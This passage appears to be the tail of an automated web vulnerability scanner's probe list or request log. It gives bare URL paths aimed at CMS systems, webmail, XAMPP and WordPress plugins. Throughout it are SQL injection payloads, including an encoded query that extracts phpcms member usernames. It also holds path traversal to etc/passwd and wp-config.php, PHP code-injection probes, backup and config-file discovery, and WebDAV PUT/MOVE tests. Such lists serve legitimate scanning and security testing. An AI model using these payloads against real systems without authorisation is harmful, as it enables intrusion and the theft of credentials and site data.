34%2C35%2C36%2C37%2C38%2C39%2C40%2C41%2C42%2C43%2C44%2C45%20from%20espcms_admin_member%3B%23 /wap/index.php?ac=search&at=taglist&tagkey=a%2527 /wap/index.php?keywords='and((select%201%20from(select%20count(*) /wap/index.php?mod=login&action=login /wap/index.php?mod=pm&pm_new=and(select%201%20from(select%20count(*) /wap/index.php?mod=space&userid=1'%20and%20extractvalue(1 /war/WEB-INF/struts-config.xml /wcm/infoview.do?serviceid=wcm6_user&MethodName=getUsersByNames&UserNames=admin /wcm/services/trs:templateservicefacade?wsdl /web-console/ /web-console/Invoker /web-console/ServerInfo.jsp /web/?id=-1' /web/SubmitLogin.do /web/User_Sort_List.aspx?infoid=2%20and%20char(106)=0 /web/common/getfile.jsp?p=..%5C%5C..%5C%5C..%5C%5C..%5C%5Cetc%5C%5Cpasswd /web/icc/js/chat.js /web/zwdt/jjj.BjcxServlet /webUser/webUser!list.action /webadmin/ /webmail//config/dbconfig.ini /webmail/admin/editor.php?load=config /webmail/images/wolong/dengru.gif /webmail/images/wolong/dengru.gif/1.php /webmail/inc/database/system_admin/admin.ucf /webscan360noThisFile*~1*/.aspx /wiki/js/jqeditor/skins/bg/index.php /wiki/style/default/admin/open.gif /wiki/utf8/style/default/admin/open.gif /wp-admin/admin-functions.php /wp-admin/admin.php?page=leaguemanager-export /wp-admin/upgrade-functions.php /wp-content/plugins/adrotate/library/clicktracker.php?track=LTEgVU5JT04gU0VMRUNUIG1kNSgxMjMxKSwxLDEsMQ== /wp-content/plugins/all-video-gallery/config.php?vid=1&pid=-1+union+select+1 /wp-content/plugins/hd-webplayer/config.php?id=1%20and%201=2%20UNION%20SELECT%201 /wp-content/plugins/hd-webplayer/config.php?id=1+and%201=2%20/*!UNION*/+/*!SELECT*/+1 /wp-content/plugins/hd-webplayer/playlist.php?videoid=1%20and%201=2%20UNION%20SELECT%201 /wp-content/plugins/hd-webplayer/playlist.php?videoid=1+and+1=2+/*!union*/+/*!select*/+concat(0x7e7e7e /wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name=verify.php /wp-content/plugins/wp-miniaudioplayer/map_download.php?filename=test.txt&fileurl=./../../../wp-config.php/. /wp-content/themes/ThinkResponsive/includes/uploadify/upload_settings_image.php /wp-includes/class-snoopy.php /wp-includes/js/plupload/plupload.flash.swf /wp-includes/js/swfupload/swfupload.swf /wp-includes/registration-functions.php /wp-includes/registration.php /wp-includes/rss-functions.php /wp-includes/rss.php /wp-includes/theme-compat/comments-popup.php /wp-includes/theme-compat/comments.php /wp-includes/theme-compat/footer.php /wp-includes/theme-compat/header.php /wp-includes/theme-compat/sidebar.php /wp-login.php /www/delivery/fc.php?file_to_serve=flowplayer/3.1.1/flowplayer-3.1.1.min.js&script=deliveryLog:vastServeVideoPlayer:player /wwwroot.rar /wwwroot.tar.gz /wwwroot.zip /xampp/cds.php?jahr=1967%20AND%201=2&interpret=1&titel=083069380bcc9981dcd269d6f7b8e894 /xampp/cds.php?jahr=1967%20AND%201=2&interpret=1&titel=db5017006e1893e15756c42fa31bf2a0 /xampp/index.php /xampp/lang.php?by_cfreer /xampp/showcode.php/c:boot.ini?showcode=1 /xampp/showcode.php/showcode.php?showcode=1 /xheditor/demos/upload.php /xheditor/upload.php /xmlrpc.php /xmlrpc.php?rsdsrv=20c6868249a44b0ab92146eac6211aeefcf68eec /yp/job.php?action=applylist&genre=-1%2527%20or%20%2527a%2527=%2527a%2527 /yp/job.php?action=applylist&inputtime=0&station=5&genre=%2561%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2528%2573%2565%256c%2565%2563%2574%2520%2563%256f%2575%256e%2574%2528%252a%2529%252c%2563%256f%256e%2563%2561%2574%2528%2528%2573%2565%256c%2565%2563%2574%2520%2528%2573%2565%256c%2565%2563%2574%2520%2528%2573%2565%256c%2565%2563%2574%2520%2563%256f%256e%2563%2561%2574%2528%2530%2578%2537%2565%252c%2530%2578%2532%2537%252c%2570%2568%2570%2563%256d%2573%255f%256d%2565%256d%2562%2565%2572%252e%2575%2573%2565%2572%256e%2561%256d%2565%252c%2530%2578%2532%2537%252c%2530%2578%2537%2565%2529%2520%2566%2572%256f%256d%2520%2570%2568%2570%2563%256d%2573%255f%256d%2565%256d%2562%2565%2572%2520%256c%2569%256d%2569%2574%2520%2530%252c%2531%2529%2529%2520%2566%2572%256f%256d%2520%2569%256e%2566%256f%2572%256d%2561%2574%2569%256f%256e%255f%2573%2563%2568%2565%256d%2561%252e%2574%2561%2562%256c%2565%2573%2520%256c%2569%256d%2569%2574%2520%2530%252c%2531%2529%252c%2566%256c%256f%256f%2572%2528%2572%2561%256e%2564%2528%2530%2529%252a%2532%2529%2529%2578%2520%2566%2572%256f%256d%2520%2569%256e%2566%256f%2572%256d%2561%2574%2569%256f%256e%255f%2573%2563%2568%2565%256d%2561%252e%2574%2561%2562%256c%2565%2573%2520%2567%2572%256f%2575%2570%2520%2562%2579%2520%2578%2529%2561%2529%2520%2561%256e%2564%2520%2527%2531%2527%253d%2527%2531 /yp/job.php?action=list&genre=-1%2527%20or%20%2527a%2527=%2527a%2527 /yp/product.php?pagesize=$%7B@print(md5(42873))%7D /yp/product.php?pagesize={${print(md5(0.203521707021))}} /yp/product.php?pagesize={${print(md5(0.327105594848))}} /yp/product.php?q=&action=searchlist&where=%23 /yp/web/index.php?userid=999999999999999999999999999999999999&menu=die(md5($_GET%5bscan%5d))%3b&scan=webscan /yp/web/index.php?userid=yy&menu=1;echo+md5(1985);exit(); /zhuti/360webscan' MOVE /08744d08123d1a1136c0fbab61566b9b.txt MOVE /779ea0254aa95be0a3a6a99d2f748d1c.txt OPTIONS / PUT /08744d08123d1a1136c0fbab61566b9b.txt PUT /779ea0254aa95be0a3a6a99d2f748d1c.txt PUT /jsky_web_scanner_test_file.txt PUT /webscan_test.txt TRACE /TRACE_test TRACK /TRACK_test goods_id=1 and (select 1 from(select count(*)